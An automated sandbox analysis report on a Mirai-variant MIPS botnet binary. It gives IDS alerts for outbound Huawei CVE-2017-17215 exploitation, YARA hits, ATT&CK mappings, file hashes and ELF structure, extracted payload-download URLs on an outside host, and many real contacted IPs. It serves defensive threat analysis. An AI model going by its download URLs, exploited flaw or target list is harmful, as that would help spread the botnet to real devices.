Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: belks.mips.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5453, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: belks.mips.elf PID: 5460, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
belks.mips.elf	66%	ReversingLabs	Linux.Backdoor.Mirai
belks.mips.elf	100%	Avira	EXP/ELF.Agent.J.8

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://2.58.113.110/zyxel.sh;	belks.mips.elf	false		unknown
http://2.58.113.110/bins/x86	belks.mips.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	belks.mips.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	belks.mips.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
112.155.167.14	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
94.128.103.20	unknown	Kuwait	47589	KTC3GKW	false
85.202.224.206	unknown	Russian Federation	44622	MTK-MOSINTER-ASRU	false
60.240.68.184	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
46.159.82.0	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.128.103.28	unknown	Kuwait	47589	KTC3GKW	false
186.2.129.152	unknown	Honduras	52262	TelefonicaCelularSAHN	false
31.179.180.10	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
164.6.229.37	unknown	United Kingdom	44013	SANDVIK-ASSE	false
85.2.228.3	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
95.20.61.20	unknown	Spain	12479	UNI2-ASES	false
95.215.48.36	unknown	Ukraine	48882	OPTIMA-SHID-ASUA	false
166.135.50.232	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
95.38.211.224	unknown	Iran (ISLAMIC Republic Of)	41881	FANAVA-ASFanavaGroupCommunicationCoIR	false
31.124.30.30	unknown	United Kingdom	12576	EELtdGB	false
31.136.125.66	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
94.13.20.81	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
95.231.17.245	unknown	Italy	3269	ASN-IBSNAZIT	false
94.128.103.34	unknown	Kuwait	47589	KTC3GKW	false
206.174.97.41	unknown	United States	8047	GCIUS	false
115.28.63.122	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
112.96.223.217	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
94.42.250.25	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
135.78.162.186	unknown	United States	18676	AVAYAUS	false
94.194.198.182	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
62.152.157.229	unknown	Poland	1902	PAN-NETDeutscheTelekomPan-NetsroSK	false
62.141.150.111	unknown	Norway	41164	GET-NOGETNorwayNO	false
31.238.199.232	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
95.24.169.219	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
95.55.190.181	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
95.82.243.177	unknown	Russian Federation	12668	MIRALOGIC-ASRU	false
157.21.250.143	unknown	United States	53446	EVMSUS	false
2.156.138.58	unknown	Italy	24608	WINDTRE-ASIT	false
94.250.37.209	unknown	Bosnia and Herzegowina	25144	TELEKOM-SRPSKE-ASKraljaPetraIKaradjordjevica61aBA	false
94.22.161.83	unknown	Finland	15527	ANVIASilmukkatie6VaasaFinlandFI	false
184.150.128.208	unknown	Canada	577	BACOMCA	false
95.94.164.77	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
141.230.57.119	unknown	United States	12701	BARCAPLondonGB	false
62.10.234.169	unknown	Italy	8612	TISCALI-IT	false
157.214.20.143	unknown	United States	4704	SANNETRakutenMobileIncJP	false
83.182.241.201	unknown	Sweden	1257	TELE2EU	false
62.156.228.145	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
95.50.145.212	unknown	Poland	5617	TPNETPL	false
96.80.132.65	unknown	United States	7922	COMCAST-7922US	false
31.205.83.251	unknown	United Kingdom	41230	ASK4GB	false
95.20.36.31	unknown	Spain	12479	UNI2-ASES	false
213.216.152.71	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
95.33.71.199	unknown	Germany	9145	EWETELCloppenburgerStrasse310DE	false
95.170.15.71	unknown	France	25540	ALPHALINK-ASFR	false
62.91.213.247	unknown	Germany	20686	BISPINGISPCitycarrierGermanyDE	false
31.14.139.77	unknown	Italy	31034	ARUBA-ASNIT	false
112.222.230.75	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
95.184.251.2	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
95.226.168.251	unknown	Italy	3269	ASN-IBSNAZIT	false
131.142.12.196	unknown	United States	1742	HARVARD-UNIVUS	false
41.133.63.27	unknown	South Africa	10474	OPTINETZA	false
95.205.130.80	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
95.94.164.70	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
62.138.132.178	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
95.137.253.45	unknown	Georgia	34797	SYSTEM-NETGE	false
95.82.243.199	unknown	Russian Federation	12668	MIRALOGIC-ASRU	false
9.196.2.177	unknown	United States	3356	LEVEL3US	false
31.253.231.98	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
106.24.107.44	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
85.112.60.44	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
95.39.201.166	unknown	Spain	12357	COMUNITELSPAINES	false
95.227.244.95	unknown	Italy	3269	ASN-IBSNAZIT	false
85.158.231.104	unknown	Austria	8692	BRZAT	false
62.137.142.217	unknown	United Kingdom	12337	NORIS-NETWORKITServiceProviderlocatedinNuernbergGerm	false
108.136.68.158	unknown	United States	16509	AMAZON-02US	false
193.227.171.215	unknown	Lebanon	9051	Beirut-LebanonLB	false
94.107.224.91	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
197.190.12.237	unknown	Ghana	37140	zain-asGH	false
31.168.34.89	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
85.30.134.205	unknown	Sweden	34244	TELESERVICESE	false
186.211.162.131	unknown	Brazil	14840	COMMCORPCOMUNICACOESLTDABR	false
181.221.212.88	unknown	Brazil	28573	CLAROSABR	false
31.182.149.252	unknown	Poland	16342	TOYATOYASpzooPL	false
89.107.90.184	unknown	Italy	39808	FONTELIT	false
94.247.246.49	unknown	Russian Federation	48532	TELEPORTSPB-ASRU	false
162.113.181.164	unknown	United States	19113	DUKE-ENERGYUS	false
129.29.228.161	unknown	United States	1453	DNIC-ASBLK-01451-01456US	false
95.253.134.179	unknown	Italy	3269	ASN-IBSNAZIT	false
31.136.125.95	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
31.156.202.83	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
88.15.208.128	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
132.89.30.224	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
176.120.80.67	unknown	Russian Federation	34300	SPACENET-ASInternetServiceProviderRU	false
95.225.107.161	unknown	Italy	3269	ASN-IBSNAZIT	false
94.169.240.9	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
62.108.98.183	unknown	Serbia	6700	BEOTEL-AShttpwwwbeotelnetRS	false
94.26.43.184	unknown	Bulgaria	48452	TRAFFIC-NETBG	false
53.0.76.7	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
31.136.49.22	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
31.162.185.100	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
157.188.96.155	unknown	United States	22252	AS22252US	false
95.212.143.72	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
62.65.150.128	unknown	Switzerland	15517	NETSTREAM-CH	false
72.192.96.245	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
94.98.191.233	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
112.155.167.14	dqnskKAmQq	Get hash	malicious	Mirai	Browse
164.6.229.37	x86	Get hash	malicious	Mirai	Browse
85.2.228.3	khXfv5zuf7.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.9620.17240	Get hash	malicious	Mirai	Browse
	Oq1I3DGMP8	Get hash	malicious	Mirai	Browse
94.128.103.20	jNfE4ax1Mz	Get hash	malicious	Mirai	Browse
	tkK2HVEdMb	Get hash	malicious	Mirai	Browse
	c9gPUYJZlF	Get hash	malicious	Mirai	Browse
	UnHAnaAW.x86	Get hash	malicious	Mirai	Browse
85.202.224.206	XnIvHM6xCV.elf	Get hash	malicious	Mirai	Browse
	9fDhqnZiB5.elf	Get hash	malicious	Mirai	Browse
	i686-20220428-2146	Get hash	malicious	Mirai	Browse
95.20.61.20	Meln5mJFTy	Get hash	malicious	Mirai	Browse
	isis.x86	Get hash	malicious	Mirai	Browse
	KUsWGCcHaL	Get hash	malicious	Mirai	Browse
60.240.68.184	Pa5WsFfpTd	Get hash	malicious	Mirai	Browse
46.159.82.0	pd4VXlGQPs.elf	Get hash	malicious	Mirai	Browse
46.159.82.0	miori.arm-20220630-2250	Get hash	malicious	Unknown	Browse
186.2.129.152	mipsel-20230706-2014.elf	Get hash	malicious	Unknown	Browse
186.2.129.152	IY58E2CfxU.elf	Get hash	malicious	Mirai	Browse
31.179.180.10	pu8ZPF7c37.elf	Get hash	malicious	Mirai	Browse
	DTqB84IHyf.elf	Get hash	malicious	Mirai	Browse
	KF4lAMK2AV.elf	Get hash	malicious	Mirai	Browse
	sora.x86-20220521-1450	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	belks.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	kjsusa6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	zmap.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	jew.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KTC3GKW	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	94.128.36.167
	jade.x86.elf	Get hash	malicious	Mirai	Browse	94.128.103.26
	3Z4y0LVHyr.elf	Get hash	malicious	Mirai	Browse	94.128.103.30
	6fLnWSoXXD.elf	Get hash	malicious	Mirai	Browse	94.128.103.18
	0dWzJvs4ON.elf	Get hash	malicious	Mirai	Browse	94.128.103.39
	jade.x86.elf	Get hash	malicious	Mirai	Browse	94.128.103.18
	wlcougQfbn.elf	Get hash	malicious	Unknown	Browse	94.128.103.22
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	94.128.36.104
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	37.231.88.158
	qpqsIVPt88.elf	Get hash	malicious	Mirai	Browse	94.129.228.106
TPG-INTERNET-APTPGTelecomLimitedAU	jew.m68k.elf	Get hash	malicious	Unknown	Browse	60.240.68.178
	ppc.elf	Get hash	malicious	Unknown	Browse	27.48.5.219
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	118.210.30.121
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	27.33.207.155
	nabarm.elf	Get hash	malicious	Unknown	Browse	203.213.60.52
	splmpsl.elf	Get hash	malicious	Unknown	Browse	60.240.21.128
	jklmips.elf	Get hash	malicious	Unknown	Browse	123.243.43.126
	nabm68k.elf	Get hash	malicious	Unknown	Browse	61.68.226.112
	splmips.elf	Get hash	malicious	Unknown	Browse	58.7.228.165
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	193.114.191.123
MTK-MOSINTER-ASRU	gNubpp8EFH.elf	Get hash	malicious	Mirai	Browse	85.202.224.214
	atH4SE3Oi6.elf	Get hash	malicious	Mirai	Browse	85.202.224.225
	5tSAlF2WkT.elf	Get hash	malicious	Mirai	Browse	85.202.224.228
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	85.202.224.243
	l6G93s9XLN.elf	Get hash	malicious	Mirai	Browse	85.202.224.205
	jade.x86.elf	Get hash	malicious	Mirai	Browse	85.202.224.208
	na.elf	Get hash	malicious	Mirai	Browse	85.202.224.208
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	85.202.224.249
	jade.mips.elf	Get hash	malicious	Mirai	Browse	85.202.224.244
	QJP0ekw0wX.elf	Get hash	malicious	Mirai	Browse	85.202.224.220
POWERVIS-AS-KRLGPOWERCOMMKR	belks.spc.elf	Get hash	malicious	Mirai	Browse	112.155.167.56
	jew.arm.elf	Get hash	malicious	Unknown	Browse	182.226.145.238
	jew.mips.elf	Get hash	malicious	Mirai	Browse	49.168.23.41
	jew.spc.elf	Get hash	malicious	Mirai	Browse	182.224.199.62
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	112.149.0.189
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	58.29.139.76
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	115.137.184.78
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	122.44.229.234
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	49.165.249.135
	arm5.elf	Get hash	malicious	Unknown	Browse	49.162.217.248

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.494887526444783
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	belks.mips.elf
File size:	93'608 bytes
MD5:	136dd80aed610d45bbe9449a770b1571
SHA1:	dbcf3f00cb344527c39d990f27d3fee563630a75
SHA256:	b08b58acb44d6d8fd3c188b2218e17d62b9a13bef589a728beab257a0a07064d
SHA512:	f3aeffab5b4199c0cb0d34578c274dde3e286b49f307e075af6a9313c6fe69583f80c8ae15e10238fe27c7d4fc3a82cec5b18f3715eda4c2ae0ffe439d6bde7b
SSDEEP:	1536:r7bil4kcwdrxb4+ba5vRE/ENLnz13ugYnTFR+LHuKxgL+Pn9G:bilzxbVMQEdnz1+g4R+LHuKCqc
TLSH:	9F93931E7E258F7CF799823547B78E22964833C62AE1C145E19CEA015EB034E741FFA9
File Content Preview:	.ELF.....................@.`...4..kx.....4. ...(.............@...@....d...d...............d..Ed..Ed.................dt.Q............................<...'..L...!'.......................<...'..(...!... ....'9... ......................<...'......!........'9T

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	93048
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x15360	0x0	0x6	AX	16
.fini	PROGBITS	0x415480	0x15480	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4154e0	0x154e0	0xfa0	0x0	0x2	A	16
.ctors	PROGBITS	0x456484	0x16484	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45648c	0x1648c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x456498	0x16498	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x4564a0	0x164a0	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x4566f0	0x166f0	0x424	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x456b14	0x16b14	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x456b40	0x16b14	0x340	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x72c	0x16b14	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x16b14	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x16480	0x16480	5.5075	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x16484	0x456484	0x456484	0x690	0x9fc	4.0128	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:52:39.031085+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33180	197.232.133.202	37215	TCP
2024-10-29T20:52:39.199531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42808	197.243.51.19	37215	TCP
2024-10-29T20:52:39.750807+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45028	95.96.124.119	80	TCP
2024-10-29T20:52:39.808671+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59352	95.101.23.87	80	TCP
2024-10-29T20:52:40.233282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49382	197.231.175.200	37215	TCP
2024-10-29T20:52:40.774632+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56590	95.238.40.148	80	TCP
2024-10-29T20:52:41.484230+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57896	95.211.85.186	80	TCP
2024-10-29T20:52:45.914434+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59568	112.249.133.1	80	TCP
2024-10-29T20:52:46.519465+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42884	197.247.176.62	37215	TCP
2024-10-29T20:52:46.573806+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33648	197.212.208.236	37215	TCP
2024-10-29T20:52:46.575237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51354	197.137.202.39	37215	TCP
2024-10-29T20:52:46.576062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46116	197.62.222.62	37215	TCP
2024-10-29T20:52:46.577614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34384	197.64.21.215	37215	TCP
2024-10-29T20:52:46.579171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47914	197.139.43.111	37215	TCP
2024-10-29T20:52:46.590101+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58102	197.95.90.227	37215	TCP
2024-10-29T20:52:46.592693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40180	197.176.33.243	37215	TCP
2024-10-29T20:52:46.609862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48404	197.103.124.224	37215	TCP
2024-10-29T20:52:46.691887+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36660	197.125.60.143	37215	TCP
2024-10-29T20:52:46.692687+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37040	197.58.85.58	37215	TCP
2024-10-29T20:52:46.693402+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57180	197.20.183.134	37215	TCP
2024-10-29T20:52:46.701160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41278	197.75.251.41	37215	TCP
2024-10-29T20:52:46.708517+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43566	197.61.144.176	37215	TCP
2024-10-29T20:52:46.807631+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37806	197.84.161.177	37215	TCP
2024-10-29T20:52:46.809059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34384	197.63.101.72	37215	TCP
2024-10-29T20:52:46.826982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55080	197.5.132.46	37215	TCP
2024-10-29T20:52:46.828596+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38712	197.21.53.53	37215	TCP
2024-10-29T20:52:46.834712+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59260	197.143.247.239	37215	TCP
2024-10-29T20:52:46.838357+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50224	197.61.227.3	37215	TCP
2024-10-29T20:52:46.849203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54838	197.114.13.166	37215	TCP
2024-10-29T20:52:46.863683+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57752	197.3.51.113	37215	TCP
2024-10-29T20:52:46.873765+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41054	197.1.115.138	37215	TCP
2024-10-29T20:52:46.893398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60564	197.79.36.199	37215	TCP
2024-10-29T20:52:46.924142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46886	197.170.191.14	37215	TCP
2024-10-29T20:52:46.936905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45844	197.149.3.204	37215	TCP
2024-10-29T20:52:46.941862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37498	197.130.144.64	37215	TCP
2024-10-29T20:52:46.947810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51160	197.137.219.11	37215	TCP
2024-10-29T20:52:46.954439+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51386	197.200.27.247	37215	TCP
2024-10-29T20:52:47.556109+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33366	95.76.201.9	80	TCP
2024-10-29T20:52:47.565225+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44390	95.219.59.109	80	TCP
2024-10-29T20:52:47.567791+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58836	95.47.14.229	80	TCP
2024-10-29T20:52:47.568390+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47846	95.66.73.134	80	TCP
2024-10-29T20:52:47.577404+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55360	95.118.201.113	80	TCP
2024-10-29T20:52:47.613189+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37544	95.13.26.120	80	TCP
2024-10-29T20:52:47.623810+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39586	95.48.73.95	80	TCP
